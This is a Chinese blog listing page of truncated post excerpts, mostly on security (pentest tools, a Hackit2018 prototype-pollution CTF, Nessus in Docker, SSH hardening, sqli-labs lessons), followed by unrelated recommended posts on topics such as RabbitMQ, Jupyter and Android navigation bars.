  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • 【安全-SSH】SSH安全设置

    今天发现自己的公有云服务器被攻击了 在这里插入图片描述 https img blog csdnimg cn direct cafdca04646f4b8b838400ec79ac282f png 然后查看了登录日志 如上图 ls sh va

随机推荐

  • Sqli-labs之Less-20和Less-21和Less-22

    Less 20 基于错误的cookie头部POST注入 首先从已知的条件中我们知道这又是一道 头部注入 那么我们先输入正确的用户名和密码看一下登录成功是什么样子的 回显有User Agent IP这样从当次Request直接获取的 也有Co
  • 兴业银行利用以太坊区块链发行债券,金融科技冲击下的银行业未来(上篇)

    点击上方 蓝色字 可关注我们 暴走时评 日前 兴业银行通过以太坊区块链发行了类证券代币的债券 兴业银行的举动可能意味着银行承认 即使比特币或以太等无许可协议可能会带来颠覆性的威胁 他们依旧无法放弃其中潜在的巨大机遇 作者 Michael J
  • PHP+Laravel框架RabbitMQ简单使用

    RabbitMQ安装教程请转到 RabbitMQ安装教程 超详细 1 创建生产者 在app Http Controllers里创建一个php控制器文件 namespace App Http Controllers use App Http
  • docker中安装jupyter,并远程打开jupyter

    一 拉取镜像 拉取一个自带miniconda的镜像源 docker pull continuumio miniconda3 二 启动容器 docker run id p 宿主机端口 容器端口 name 自己取的容器名 v 宿主机目录 容器目
  • Python 综合应用小项目一

    数据库报错重连机制 利用异常捕获来获取mysql断开的报错 然后再重连 1 import MySQLdb as mysql 2 3 class DB 4 def init self host user passwd db name 5 se
  • 基于spring validation多层对象校验

    1 第一层对象定义 package com ybw validation demo vo import lombok AllArgsConstructor import lombok Data import lombok NoArgsCon
  • idea workspace.xml 报错

    1 找到 workspace xml 位置并删除 2 重新install
  • LeGO-LOAM 系列(1): LeGO-LOAM 安装以及概述

    一 github GitHub RobustFieldAutonomyLab LeGO LOAM 二 安装依赖 1 ROS Ubuntu 64 bit 16 04 ROS Kinetic 比较常规 就不赘述了 2 gtsam Georgia
  • 集合引用类型 上

    目录 Object Array 创建数组 数组的静态方法 数组空位 数组索引 检测数组 迭代器方法 复制和填充方法 转换方法 栈方法 队列方法 排序方法 操作方法 搜索和位置方法 迭代方法 归并方法 Object 显式地创建Object 的
  • Windows7 Python3 搭建Scrapy 爬虫框架

    Windows7 64位 Python3 7 安装Scrapy 提示如下错误信息 解决办法 1 在python库中下载twisted相应的包 whl文件 官网地址 https www lfd uci edu gohlke pythonlib
  • Android底部导航栏的三种风格实现

    一 效果图展示 如果动图没有动的话 也可以看下面这个静态图 以下挨个分析每个的实现 这里只做简单的效果展示 大家可以基于目前代码做二次开发 二 BottomNavigationView 这是 Google 给我们提供的一个专门用于底部导航的
  • JWT 登录认证及 token 自动续期方案解读

    欢迎关注方志朋的博客 回复 666 获面试宝典 方志朋 号主为CSDN博客之星 博客访问量突破一千万 著有畅销书 深入理解SpringCloud与微服务构建 主要分享Java 后端架构等技术 用大厂程序员的视角来探讨技术进阶 面试指南 职业
  • 昨天看了一本c#的教程

    昨天看了一本c 的教程 昨天看了一本c 的教程 那是本很早前就买了的书 虽然也不是没看过 但是昨天重新看了下 感觉收获还是不小的 从c 的类型 到它的方法 还有就是面向对象的一些概念 覆盖 继承 我不敢说我学到了多少 但是我很喜欢 post
  • 2024年计算机专业毕业设计题目大全-吊炸天的2024届计算机毕业设计选题推荐参考

    作者 计算机源码社 个人简介 本人七年开发经验 擅长Java Python PHP NET 微信小程序 爬虫 大数据等 大家有这一块的问题可以一起交流 学习资料 程序开发 技术解答 文档报告 JavaWeb项目 微信小程序项目 Python
  • openwrt编译ipk包提示缺少feeds.mk文件

    问题具体表现如下 这个问题困扰了我两个多星期 总算解决了 解决方案如下 首先 先应该把配置菜单调好 我的硬件是7620a 要编译的ipk包为helloworld 所以应该使用 make menuconfig命令进入配置菜单 进入后 将1号框
  • TCP/IP基础&pysocket

    TCP IP基础 pysocket 1 网络简述 网络 计算机网络功能主要包括实现资源共享 实现数据信息的快速传递 网络协议 在网络数据传输中 都遵循的执行规则 规范 C S 服务器 Server 向客户端提供资源 保存客户端数据 处理客户
  • 【华为OD机试真题 python】支持优先级的队列【2023 Q2

    题目描述 支持优先级的队列 实现一个支持优先级的队列 高优先级先出队列 同优先级时先进先出 如果两个输入数据和优先级都相同 则后一个数据不入队列被丢弃 队列存储的数据内容是一个整数 输入描述 一组待存入队列的数据 包含内容和优先级 输出描述
  • PHP SQL实现公司数据库的增删改查

    文末附文件 题目要求 Use the following SQL DDL statements to create the six tables required for this project Note that you need to
  • python之celery

    Celery是由Python开发的一个简单 灵活 可靠的处理大量任务的分发系统 可以实时处理任务 也可以定时异步处理任务 每次分发任务后得到一个ID 然后根据这个ID查询任务执行情况 安装 pip install celery eventl
  • sqllabs详解与知识点汇总(内含代码审计)

    sqllabs 1 65 详解 关于注释符的详解 SQL注入注释符 使用条件及其他注释方式的探索 impulse 博客园 cnblogs com HTTP请求方法 GET 对比 POST HTTP 方法 GET 对比 POST 菜鸟教程 r